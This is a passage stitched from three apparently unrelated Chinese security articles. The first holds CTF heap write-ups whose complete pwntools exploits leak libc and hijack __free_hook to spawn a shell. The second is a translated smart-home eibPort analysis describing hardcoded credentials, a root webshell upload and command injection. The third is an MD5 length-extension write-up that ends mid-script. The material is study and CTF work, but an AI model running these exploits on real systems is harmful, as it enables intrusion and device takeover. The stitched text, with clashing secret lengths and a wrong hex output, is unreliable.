我们将`_IO_write_base`的低一个字节覆盖为`\x08`，因为这个地方存放了`_IO_stdfile_2_lock`的地址，而这个地址比`__free_hook`的地址低`0x38`个字节，因此泄露出来后，即可以算出libc基址
如何将chunk分配到 `_IO_2_1_stdout_` 从而进行改写呢？
`_IO_2_1_stdout_`
文件流地址和`&main_arena+88`的地址后1.5个字节是不会变的，因为系统分配内存是按页分配的，一页的大小为0x1000，他们本身的偏移不会改变，所以后1.5字节是不会变的，但是我们覆盖内存的最小单位是2字节，所以有半字节是猜的，需要我们进行调试，拿到那半个字节，就可以将chunk分配到
`_IO_2_1_stdout_` 文件流内存中，进而覆盖其中的数据。
【不明白的可以先了解一下 新版本glibc下IO_FILE的利用】
>
> [对于setbuf和setvbuf](https://blog.csdn.net/Albinzhiyu/article/details/6561739):
> 设置文件缓冲区函数
> `void setbuf(FILE *stream,char *buf);`
> `void setvbuf(FILE *stream,char *buf,int type,unsigned size);`
> 这两个函数将使得打开文件后，用户可建立 **自己的文件缓冲区** ，而 **不使用** fopen()函数打开文件设定的默认缓冲区。
>
> 对于setbuf()函数，buf指出的缓冲区长度由头文件stdio.h中定义的宏BUFSIZE的值决定，缺省值为512字节。当选定buf为空时，setbuf函数将使的文件I/O
> **不带缓冲** 。而对setvbuf函数，则 **由malloc函数来分配缓冲区**
> 。参数size指明了缓冲区的长度(必须大于0),而参数type则表示了缓冲的类型，其值可以取如下值：
> type 值 含义
> _IOFBF 文件全部缓冲，即缓冲区装满后，才能对文件读写
> _IOLBF 文件行缓冲，即缓冲区接收到一个换行符时，才能对文件读写
> _IONBF 文件不缓冲，此时忽略buf,size的值，直接读写文件，不再经过文件缓冲区缓冲
由于程序开头就使用了setvbuf，没有缓冲区，所以我们需要伪造flag使stdout文件流认为有缓冲区，同时将`_IO_write_base`指针进行修改，从而泄露libc
base
1. 同上题一样改写`__malloc_hook`或`__free_hook`就可以了。改写malloc_hook失败，改了free_hook...这里我不明白为什么失败了求指教。
* * *
调试分析一下
首先构造overlap造成堆块重叠
申请chunk，并改写chunk5的prev_size
0x555555757250: 0x0000000000000000 0x0000000000000501 # 0
0x555555757260: 0x000000000000306b 0x0000000000000000
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0x0000000000000000 0x0000000000000000
.......
0x555555757750: 0x0000000000000000 0x0000000000000041 # 1
0x555555757760: 0x000000000000316b 0x0000000000000000
0x555555757770: 0x0000000000000000 0x0000000000000000
0x555555757780: 0x0000000000000000 0x0000000000000000
0x555555757790: 0x0000000000000000 0x0000000000000051 # 2
0x5555557577a0: 0x000000000000326b 0x0000000000000000
0x5555557577b0: 0x0000000000000000 0x0000000000000000
0x5555557577c0: 0x0000000000000000 0x0000000000000000
0x5555557577d0: 0x0000000000000000 0x0000000000000000
0x5555557577e0: 0x0000000000000000 0x0000000000000061 # 3
0x5555557577f0: 0x000000000000336b 0x0000000000000000
0x555555757800: 0x0000000000000000 0x0000000000000000
.......
0x555555757840: 0x0000000000000000 0x0000000000000071 # 4
0x555555757850: 0x6161616161616161 0x6161616161616161
0x555555757860: 0x6161616161616161 0x6161616161616161
0x555555757870: 0x6161616161616161 0x6161616161616161
0x555555757880: 0x6161616161616161 0x6161616161616161
0x555555757890: 0x6161616161616161 0x6161616161616161
0x5555557578a0: 0x6161616161616161 0x6161616161616161
0x5555557578b0: 0x0000000000000660 0x0000000000000500 # 5 【同时，新申请的 4 改写了prev_size和prev_inuse】
0x5555557578c0: 0x000000000000356b 0x0000000000000000
0x5555557578d0: 0x0000000000000000 0x0000000000000000
.......
0x555555757db0: 0x0000000000000000 0x0000000000000081 # 6
0x555555757dc0: 0x000000000000366b 0x0000000000000000
0x555555757dd0: 0x0000000000000000 0x0000000000000000
0x555555757de0: 0x0000000000000000 0x0000000000000000
....... # top chunk
释放chunk2 chunk0 chunk5
这样呢 chunk5 向前索引就到了 chunk0，chunk0和chunk5 空闲unsorted合并，所以 chunk0 的 size = 0x660
+ 0x500 = 0xb60，实现了overlap
0x555555757250: 0x0000000000000000 0x0000000000000b61 # 0
0x555555757260: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0xdadadadadadadada 0xdadadadadadadada
.......
0x555555757750: 0x0000000000000500 0x0000000000000040 # 1
0x555555757760: 0x000000000000316b 0x0000000000000000
0x555555757770: 0x0000000000000000 0x0000000000000000
0x555555757780: 0x0000000000000000 0x0000000000000000
0x555555757790: 0x0000000000000000 0x0000000000000051 # 2
0x5555557577a0: 0x0000000000000000 0xdadadadadadadada
0x5555557577b0: 0xdadadadadadadada 0xdadadadadadadada
0x5555557577c0: 0xdadadadadadadada 0xdadadadadadadada
0x5555557577d0: 0xdadadadadadadada 0xdadadadadadadada
0x5555557577e0: 0x0000000000000000 0x0000000000000061 # 3
0x5555557577f0: 0x000000000000336b 0x0000000000000000
0x555555757800: 0x0000000000000000 0x0000000000000000
.......
0x555555757840: 0x0000000000000000 0x0000000000000071 # 4
0x555555757850: 0x6161616161616161 0x6161616161616161
0x555555757860: 0x6161616161616161 0x6161616161616161
0x555555757870: 0x6161616161616161 0x6161616161616161
0x555555757880: 0x6161616161616161 0x6161616161616161
0x555555757890: 0x6161616161616161 0x6161616161616161
0x5555557578a0: 0x6161616161616161 0x6161616161616161
0x5555557578b0: 0x0000000000000660 0x0000000000000500 # 5 【同时，新申请的 chunk4 利用复写 改写了prev_size = 0xb0-0x6=250和prev_inuse】
0x5555557578c0: 0xdadadadadadadada 0xdadadadadadadada
0x5555557578d0: 0xdadadadadadadada 0xdadadadadadadada
.......
0x555555757db0: 0x0000000000000b60 0x0000000000000080 # 6
0x555555757dc0: 0x000000000000366b 0x0000000000000000
0x555555757dd0: 0x0000000000000000 0x0000000000000000
0x555555757de0: 0x0000000000000000 0x0000000000000000
....... # top chunk
### exp
#!usr/bin/python
from pwn import *
# context.log_level = 'debug'
binary = "./baby_tcache"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
io.sendlineafter("choice: ", str(choice))
def new(size, data):
menu(1)
io.sendlineafter("Size:", str(size))
io.sendafter("Data:", data)
def delete(index):
menu(2)
io.sendlineafter("Index:", str(index))
def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("./libc.so.6")
else:
io = remote(ip, port)
libc = 0
new(0x500-0x8, "k0") # 0
new(0x30, "k1") # 1
new(0x40, "k2") # 2
new(0x50, "k3") # 3
new(0x60, "k4") # 4
new(0x500-0x8, "k5") # 5
new(0x10, "k6") # 6 # gap to top chunk
delete(4)
new(0x68, 'a' * 0x60 + '\x60\x06') # 4 # 0x660
delete(2)
delete(0)
delete(5)
new(0x500-0x9+0x34, "b")
delete(4)
new(0xa8, '\x60\x07')
new(0x40, 'c')
new(0x3e, p64(0xfbad1800) + p64(0) * 3 + '\x08')
libc_base = u64(io.recv(8)) - 0x3ed8b0 # u64(_IO_stdfile_2_lock) - libc.symbols['__free_hook'] + 0x38
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one_gadget[1]
io.success("libc_base = "+hex(libc_base))
io.success("malloc_hook = "+hex(malloc_hook))
io.success("free_hook = "+hex(free_hook))
io.success("one_gadget = " +hex(one_gadget))
new(0xa0, p64(free_hook))
new(0x60, p64(1))
new(0x60, p64(one_gadget))
# gdb.attach(io)
delete(0)
io.interactive()
if __name__ == '__main__':
pwn(ip, port, 1)
## [QCTF2018
babyheap](https://github.com/fangdada/ctf/tree/master/QCTF2018/babyheap)
### 分析
保护全开
菜单：
1. Create
2. Delete
3. show
4. Exit
存在`NULL Byte off-by-one`漏洞
经过上面两道题，其实思路已经很清晰了。
### exp
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
binary = "./babyheap"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
io.sendlineafter("choice :", str(choice))
def create(size, data):
menu(1)
io.sendlineafter("Size: \n", str(size))
io.sendafter("Data: \n", data)
def delete(idx):
menu(2)
io.sendlineafter("Index: \n", str(idx))
def show():
menu(3)
def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("./libc-2.27.so")
else:
io = remote(ip, port)
libc = 0
create(0x418, 'a\n') # 0
create(0x508, 'b' * 0x4f0 + p64(0x500) + '\n') # 1
create(0x418, 'c\n') # 2
create(0x418, 'd\n') # 3
delete(0)
delete(1)
create(0x418, 'e' * 0x418) # 0
create(0x418, 'f\n') # 1
create(0xd8, 'g\n') # 4
delete(1)
delete(2)
create(0x418, 'h\n') # 1
show()
io.recvuntil("4 : ")
libc_base = u64(io.recv(6).ljust(8, '\x00')) - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
# onegadget = [0x4f2c5, 0x4f322, 0x10a38c]
# onegadget = libc_base + onegadget[1]
sys_addr = libc_base + libc.sym['system']
print "libc_base = " +hex(libc_base) # 0x7ffff79e4000
print "free_hook = " +hex(free_hook) # 0x7ffff7dd18e8
print "sys_addr = " +hex(sys_addr) # 0x7ffff7a33440
create(0xd8, '\n') # 2
delete(4)
delete(2)
create(0xd8, p64(free_hook) + '\n') # 4
# create(0xd8, p64(onegadget) + '\n')
create(0xd8, '/bin/sh\x00' + '\n') # 2
create(0xd8, p64(sys_addr) + '\n')
delete(2)
io.interactive()
if __name__ == '__main__':
pwn(ip, port, 1)
one_gadget有时候不符合条件不能使用，我们替换成system("/bin/sh")
<https://bbs.pediy.com/thread-246786.htm>
## [BCTF2018 houseofAtum](https://github.com/WinMin/CTF-Writeup/tree/master/2018/BCTF/Pwn/houseofatum)
出题人的分析：<https://changochen.github.io/2018-11-26-bctf-2018.html>
### 分析
保护全开
菜单
1. new
2. edit
3. delete
4. show
只对指针进行free但是没有清零。存在`UAF`漏洞
难点在于，只能申请两个note，不过不管你删不删都会把指针给free了
考虑到tcache机制的缺陷，不检查size等flag，只根据fd直接分配内存给用户，所以tcache bin和fastbin的fd指向是不同的。
通过这个小demo我们可以判断
void *a = malloc(0x28);
void *b = malloc(0x28);
// fill the tcache
for(int i=0; i<7 ;i++){
free(a);
}
free(b);
//What will happen with this:
free(a);
因为tcache每个bin最多有7个chunk，for循环将chunk a设置成`a -> a <- a`，且tcache被填满
free(b)会将b释放入fastbin，再次释放a也会将a放入fastbin，形成：
所以a的fd指针指向了b的prev_size，形成混淆，这样b的prev_size会被当做tcache分配内存的依据fd ！
刚好，题目分配的每个chunk都是0x48的大小，存在复用prev_size，我们将prev_size改写就可以就可以控制新申请的chunk位置。
1. 由于选择delete选项时会直接`free((void *)notes[(signed int)v1])`，所以选择delete但是n，可以打印出fd，偏移泄露`heap base`
2. free 7次后tcache满，将fd修改到合适的位置，伪造unsorted bin，改写prev_inuse位，再次free就会放入unsorted bin，偏移泄露`libc base`
3. 按照前面说的，free 7次达到`a -> a <- a`的效果
然后再修改prev_size（fd）到`__free_hook`，劫持到`one_gadget`
### exp
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
binary = "./houseofAtum"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
io.sendlineafter("choice:", str(choice))
def new(content):
menu(1)
io.sendafter("content:", content)
def edit(idx, content):
menu(2)
io.sendlineafter("idx:", str(idx))
io.sendafter("content:", content)
def delete(idx, choice):
menu(3)
io.sendlineafter("idx:", str(idx))
io.sendlineafter("(y/n):", choice)
def show(idx):
menu(4)
io.sendlineafter("idx:", str(idx))
def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = 0
new("k0") # 0
new("k1") # 1
delete(0, 'n')
delete(1, 'n')
show(1)
io.recvuntil("Content:")
heap_base = u64(io.recv(6).ljust(8, '\x00')) - 0x260
print "heap_base = " +hex(heap_base) # 0x555555757000
for i in range(5): # total 7
delete(0, 'n')
delete(1, 'y')
delete(0, 'y') # fastbin: main_arena -> 0 -> 1
payload = p64(0) * 7 + p64(0xa1) + p64(heap_base + 0x30)
new(payload) # 0
new("\x30") # 1
delete(1, 'y') # fd = heap_base + 0x30
new("k1") # 1 # heap_base + 0x30
delete(0, 'y')
payload = p64(0) * 7 + p64(heap_base + 0x10)
edit(1, payload)
new('\x11') # prev_inuse
for i in range(7):
delete(0, 'n')
delete(0, 'y')
payload = p64(0) * 7 + p64(heap_base + 0x10)
edit(1, payload)
new('\x11')
show(0)
io.recvuntil("Content:")
libc_base = u64(io.recv(6).ljust(8, '\x00')) + 0xc143ef # 0x00007ffff7dcfca0 - 0x00007ffff6dcfc11 - 0x3ebca0
print "libc_base = " +hex(libc_base) # 0x7ffff79e4000s
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one_gadget[1]
free_hook = libc_base + libc.sym['__free_hook']
delete(0, 'y')
payload = p64(0) * 7 + p64(free_hook)
edit(1, payload)
new(p64(one_gadget))
menu(3)
io.sendlineafter("idx:", str(0))
io.interactive()
if __name__ == '__main__':
pwn(ip, port, 1)
> 以上参考
> [CTF-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-> heap/tcache_attack-zh/)
> [ctf-all-in-one](https://firmianay.gitbooks.io/ctf-all-in-> one/doc/4.14_glibc_tcache.html)
> <http://pollux.cc/2019/05/03/2018-hitcon-baby-> tcache/#step-2-%E5%88%A9%E7%94%A8%E6%96%87%E4%BB%B6%E6%B5%81%E6%B3%84%E9%9C%B2libc%E7%9A%84%E5%9C%B0%E5%9D%80>
>
> <https://binlep.github.io/2019/12/13/%E3%80%90WriteUp%E3%80%91%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C
> --Pwn%E9%A2%98%E8%A7%A3(Part%202)/#babyheap> | 社区文章 |
# 【技术分享】智能家居设备安全分析手记
|
##### 译文声明
本文是翻译文章，文章来源：insinuator.net
原文地址：<https://insinuator.net/2016/12/analyzing-yet-another-smart-home-device/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：180RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传送门——IOT系列**
[**【技术分享】物联网设备安全分析之网络摄像头篇**
****](http://bobao.360.cn/learning/detail/3269.html)
**前言**
随着智能家居的兴起，黑客和安全研究人员也逐渐将目光转向智能家居技术。在本文中，我们将深入研究一款用于控制智能家居系统的设备，称为“eibPort”，该设备的供应商为
[BAB TECHNOLOGIE GmbH](http://dmz.bab-tec.de:8083/cubevision/CVMTablet.html)。这款设备可以利用不同的技术，例如EnoCean或KNX等技术来控制智能家居系统，具体采用哪种技术取决于设备的版本。eibPort提供了一个可视化操作界面来控制整个系统，并且其代码是在web服务器上运行的。通过这个可视化的界面，用户可以打开或关闭窗户，调节不同房间的温度，甚至可以通过简单地点击符号来打开或关闭报警系统。以下截图展示了该界面：
因此，eibPort可以说是系统安全的核心部分，因为eibPort附带的各个软件的安全问题都会系统产生举足轻重的影响。通过本文的分析，将会帮助大家发现其中的一些漏洞。
**分析UpdateTool**
与其他嵌入式设备解决方案不同的是，BAB TECHNOLOGIE GmbH是通过单独的更新工具来更新设备的，实际上，这个工具就是一个简单的Java
Jar文件。这种方法非常有趣，因为更新过程本身与其他解决方案不同。通常来说，更新是在web应用程序中安装的，并提供一个存储所有更新相关数据的独立文件。但是，这里的更新文件将提交给UpdateTool，然后，由这个更新工具将数据传送到设备。所以，我们不妨仔细考察一下这个UpdateTool，有可能发现非常有趣的东西。
UpdateTool启动后，它会搜索位于同一网络中的eibPort设备。如果找到了eibPort，则将显示关于设备的信息，例如IP地址、序列号、安装的固件版本以及各种端口等。
由于这个更新工具并不复杂，所以我们不妨直接来查看一下它的源代码。当我们编译Java代码的时候，这些代码将会被转换为一种中间形式（JVM字节码），该中间形式保留了原始Java代码中的大量信息。这使得反编译Java代码变得非常容易，就本例来说，我们要处理的.class文件位于Jar文件中。
**更新工具的源代码**
在使用Java反编译器打开文件“UpdateTool-20141219.jar”之后，我们可以看到更新工具中包含的软件包的代码结构。
其中，有两个名为“babtec”和“eibport”的包引起了我们的注意。在分析源代码以及不同类和方法之间的关系之后，我们在类“KeyStorageStatic”中找到了一个加密的DSA私钥。
实际上，这个密钥是方法“startUpdate”和“getRescueVersion”以用户“bt1”连接到eibPort时的凭证。事实上，此DSA私钥是加密的，并且将在另一个类中用于连接设备，这表明还必须有加密密钥来解密它。另一个可能情况是，如果更新工具要连接到eibPort，则必须输入密码以解锁密钥，但事实上并非如此。经过进一步的研究，我们发现一个字符串非常符合DSA私钥的上下文，并且看起来像是一个密码。该字符串位于类“UpdateController”中，如下图所示：
**
**
**连接EibPort**
根据上面收集的信息，我们可以尝试通过SFTP连接到设备。因为我们已经知道了用户名、加密的DSA私钥以及解锁密钥的密码。
正如上图所示，已经成功连接上了，并进入位于"/config/chroot/"的chroot环境。
然而，如果要想获得一个具有更多功能的shell，我们可以上传一个PHP shell，因为从HTTP响应头X-Powered-By中可以发现，该系统运行的PHP版本为“4.3.1”。在将PHP文件上传到bt1用户的主目录之后，我们就可以通过Web浏览器来访问该文件了。
一旦上传了webshell，我们就获得了该设备的root权限。这是因为，这个Web服务器以root权限运行的，因此上传的PHP脚本也具有同样的权限。这样一来，我们就完全控制了该设备，进而控制智能家居系统。我们不仅可以控制灯和电源插座，还可以打开窗户或门，甚至可以关闭报警系统。
接下来，我们将对这个web应用程序本身进行一番考察，同时还要了解一下它所提供的功能。我们发现一个PHP脚本看起来很有趣，因为它可以提取数据。这个脚本通过GET参数“src”和“dst”来接收两个值。这两个参数的处理过程如下所示：
“exec(“unzip ../..”.$src.” -d ../..”.$dst);”
这两个参数没有对恶意输入进行过滤，而是将输入直接交由方法exec进行处理，然后用于unzip命令。对于不可信的用户输入来说，这种处理方式有可能导致远程代码执行。因为，它可以轻松地逃出实际的unzip命令的上下文，并执行其他操作系统命令，并且也以root权限来执行它们。
##
**结论**
智能家居设备（如eibPort）是智能家居装置的重要组成部分。虽然人们希望能够从任何地方控制他们的家，但他们却没有意识到这种需求背后所隐含的安全隐患。
通过Google搜索或通过编写一个简短的Python脚本（可针对特定路径进行爬网），我们可以非常轻松地找到这些设备。如果你知道eibPort上的web应用程序的结构，你可以在互联网上找到数百个可用的eibPort，其中一些甚至没有激活任何认证机制，其后果可想而知。
BAB TECHNOLOGIE GmbH已经为受影响的eibPort版本（2.1）提供了更新。eibPort 2.1的用户应尽快更新其设备，并按照BAB
TECHNOLOGIE提供的建议进行相应的处理。这个更新可以在这里找到。
**传送门——IOT系列**
* * *
**[【技术分享】物联网设备安全分析之网络摄像头篇](http://bobao.360.cn/learning/detail/3269.html)** | 社区文章 |
# 前言
前天参加web安全测试大赛决赛，遇到了一个题目，在网上找到了类似的题目，但是当时看了下看不懂，拿着payload无法利用，因此这几天一直在复现比赛的题目，顺便记录一下什么是`hash长度拓展攻击`
# 0x01 什么是hash长度拓展攻击
hash长度拓展攻击，概括一下就是由于hash的生成机制使得我们可以人为的在原先的明文基础上添加新的拓展字符，从而使得原本的加密链变长，进一步控制加密链的最后一节，使得我们得以控制最终的结果。
这里简单介绍一下hash算法。
## hash算法
hash算法又叫做散列算法。是一种把任意长度的字符串加密为固定长度的字符串的加密算法，该算法生成的密文就是散列值。简单说hash算法就是一种通过单向函数加密明文生成信息摘要的算法。
现在常用的has算法有MD5和SHA-1。这里就以MD5算法为例，解释一下hash长度扩展攻击。
**要去利用MD5算法解释该攻击方式，那就要先去了解一下MD5的加密过程**
# 0x02 MD5加密
## MD5
MD5算法是典型的一种信息摘要算法，它是由md2、md3和md4演变而来的。无所是哪一种的MD算法都是将一个任意长度的字符串加密为一串固定长度的密文。在这整个加密过程中，会将明文字符串转换为一个128位的消息摘要，接着把消息摘要转换为一个十六进制的字符串就会得到32位的字符串，也就是我们平时见到的MD5密文
`因为MD5加密过程经过了压缩，加密和hash算法，所以MD5加密的内容是不可逆的`
## MD5算法过程
要了解算法的原理过程，肯定要有一个算法的流程图，这样看起来就会很明白了
按照这个图片，我们可以把流程分为下面几个步骤：
1. 把消息分为n个分组
2. 对最后一个消息分组进行填充
3. 和输入量进行运算，运算结果位下一个分组的输入量
4. 输出最终结果
## MD5算法实现
因为单纯讲过程过于枯燥而且不易明白，所以这里采用举例子方式进行解释
### 加密举例
比如现在我们要对明文0123456789abcdef进行加密，首先第一步，将明文字符串转换为二进制字符串，这里贴出转换脚本
def text_to_binary(text_str):
binary_str = ' '.join(format(ord(x), 'b') for x in text_str)
return binary_str
text_input = '0123456789abcdef'
binary_output = text_to_binary(text_input)
print('binary result is:{0}'.format(binary_output))
#转换结果 00110000 00110001 00110010 00110011 00110100 00110101 00110110 00110111 00111000 00111001 01100001 01100010 01100011 01100100 01100101 01100110
由于一个ASCII码字符对应8位二进制字符，那么我们现在就得到了128位二进制字符，为了方便观看，我们在010（winhex）里面写入这些内容，因为010（winhex）是16进制，所以还要去转换为16进制字符。
def binary_to_hex(binary_str):
decimal_number = int(binary_str, 2)
hex_number = hex(decimal_number)
return hex_number
binary_input = '110000110001110010110011110100110101110110110111111000111001110000111000101100011110010011001011100110'
hex_output = binary_to_hex(binary_input)
print('hex result is:{0}'.format(hex_output))
#转换结果：0x80
在010（winhex）写入内容
这样子看起来就舒服多了，下面要对明文进行填充，使得明文位长度mod
512=448（bit）。进行填充的方式前面说了，就是在二进制下第一个补1，后面的依次补0
。但是在这里咱们是以十六进制形式在010里演示的，而对于十六进制来说，一个十六进制字符对应4个二进制字符，所以对于010里面数据来说，10000000(2)==80(16)，补充上去就是
然后后面依次补0，直至满足上面式子为止。得到最终补位结果
然后进行补位。
现在经过填充明文有448it，也就是56byte，还需要补位8byte。原始明文为`0123456789abcdef`共16byte，有16 *
8=128bit，转换为十六进制为80，写入倒数第八个byte位，之后补7byte的0x00 。
接下来就用这64byte的数据进行计算，与初始向量进行运算
计算信息的摘要需要用补位结果的数据进行运算，也就是补位后的512bit的消息，在计算时候有一个初始的向量，这里初始的向量是一个固定的值
A 01 23 45 67 0x67452301
B 89 AB CD EF 0xEFCDAB89
C FE DC BA 98 0x98BADCFE
D 76 54 32 10 0x10325476
由于在计算机存储中采用的是小端存储方式，所以上面的初始化向量在程序中的初始化代码为后面的0x部分。
然后将刚才的512bit消息和初始化向量进行第一轮的运算，之后初始化向量会被新的值覆盖，最后一轮的向量经过高低位互换后就是计算出的MD5值。
高低位互换：
abcdef->fedcba
这个高低位互换的过程如下：
假如最后一轮的运算后的向量值为：
A=0xabcdef12
B=0xabcdef12
C=0xabcdef12
D=0xabcdef12
那么进行高低位互换之后得到的数值为：
12 ef cd ab
12 ef cd ab
12 ef cd ab
12 ef cd ab
进行拼接得到最后加密结果
`12efcdab12efcdab12efcdab12efcdab`
# hash长度扩展攻击
hash长度的拓展攻击的实现就是基于上面的最后一轮的值进行的，下面结合一下这次做题遇到的一个题目进行解释
<?php
error_reporting(0);
$flag=getenv("DASFLAG");
if(isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])){
$fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1);
if($_GET["md5"] === md5($fl4g)){
echo $flag;
}else{
die("please try again");
}
}else{
highlight_file(__FILE__);
echo md5($flag."yusa");
} 1c3de59d2f68788cc792e0eb7d604710
这个题目核心的地方在`if($_GET["md5"] === md5($fl4g)`
我们get的变量md5值需要和题目环境变量DASFLAG的值经过字符替换之后的MD5值相同，会给flag。也就是说要去构造MD5的参数值。
这里已知了flag也就是secret值为38位，data值为yusa。
## 这里给一个例子进行解释
已知secret为‘secret’(攻击者未知）
数据data为‘data’(攻击者已知)
加密方式为MD5(secret+data)，也就是俗称的加盐
追加字符为yyds
正常加密：6ee582a1669ce442f3719c47430dadee
将secret和data数据写出来
按照填充规则进行填充
补位
现在如果攻击者进行追加内容的话，填充如下
现在再去计算它的MD5值，就有两种办法了
1. 直接使用MD5算法计算(该方法是服务端采用的)
2. 通过第一个块结束开始，使用我们已经从签hash中获得的状态并从该状态开始对追加内容进行hash(该方法为攻击者的攻击程序所采用的)
说下服务端：
在发送数据到服务端时候，因为是加盐，而这个盐肯定不是我们自己加的，是由服务器自己按照一定的规则加的盐，也就是secret。
所以我们在发送数据时数据应该是下面的样子
而在攻击者扩展数据情况下发送的数据应该是
而服务端处理的数据因该是
并且会进行hash运算得到密文：`6ee582a1669ce442f3719c47430dadee`
## 回到题目
这里就是去按照上面的思路构造MD5参数的值。
首先就是知道了secret长度为42
最后去掉前面的secret，得到
`yusa\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00a`
进行urlencode编码之后
yusa%5Cx80%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx17%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00a
现在在不知道secret值的情况下，已经得知了flag+yusa的值为`1c3de59d2f68788cc792e0eb7d604710`，以及secret位数。而我们现在得到的hash值刚好是下一轮数据经过高低位互换的向量。
也就是说互换之后：
9d e5 3d 1c
8c 78 68 2f
eb e0 92 c7
10 47 60 7d
在网上找了一个python的扩展攻击脚本
# -*- coding: utf-8 -*- # @Author: King kaki
# @Date: 2018-08-04 12:40:11
# @Last Modified by: kingkk
# @Last Modified time: 2018-08-12 15:08:28
import math
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)
def T(i):
return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff
def shift(shift_list):
shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
return shift_list
def fun(fun_list, f, m, shi):
count = 0
global Ti_count
while count < 16:
xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2], 16), int(fun_list[3], 16)) + int(m[count], 16) + T(Ti_count)
xx &= 0xffffffff
ll = L(xx, shi[count])
fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
fun_list = shift(fun_list)
count += 1
Ti_count += 1
return fun_list
def gen_m16(order, ascii_list, f_offset):
ii = 0
m16 = [0] * 16
f_offset *= 64
for i in order:
i *= 4
m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] + ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
ii += 1
for ind in range(len(m16)):
m16[ind] = reverse_hex(m16[ind])
return m16
def reverse_hex(hex_str):
hex_str = hex_str[2:]
if len(hex_str) < 8:
hex_str = '0' * (8 - len(hex_str)) + hex_str
hex_str_list = []
for i in range(0, len(hex_str), 2):
hex_str_list.append(hex_str[i:i + 2])
hex_str_list.reverse()
hex_str_result = '0x' + ''.join(hex_str_list)
return hex_str_result
def show_result(f_list):
result = ''
f_list1 = [0] * 4
for i in f_list:
f_list1[f_list.index(i)] = reverse_hex(i)[2:]
result += f_list1[f_list.index(i)]
return result
def padding(input_m, msg_lenth=0):
ascii_list = list(map(hex, map(ord, input_m)))
msg_lenth += len(ascii_list) * 8
ascii_list.append('0x80')
for i in range(len(ascii_list)):
if len(ascii_list[i]) < 4:
ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('0x00')
msg_lenth_0x = hex(msg_lenth)[2:]
msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
msg_lenth_0x_list = []
for i in range(0, len(msg_lenth_0x_big_order), 2):
msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
ascii_list.extend(msg_lenth_0x_list)
return ascii_list
def md5(input_m):
global Ti_count
Ti_count = 1
abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
ascii_list = padding(input_m)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
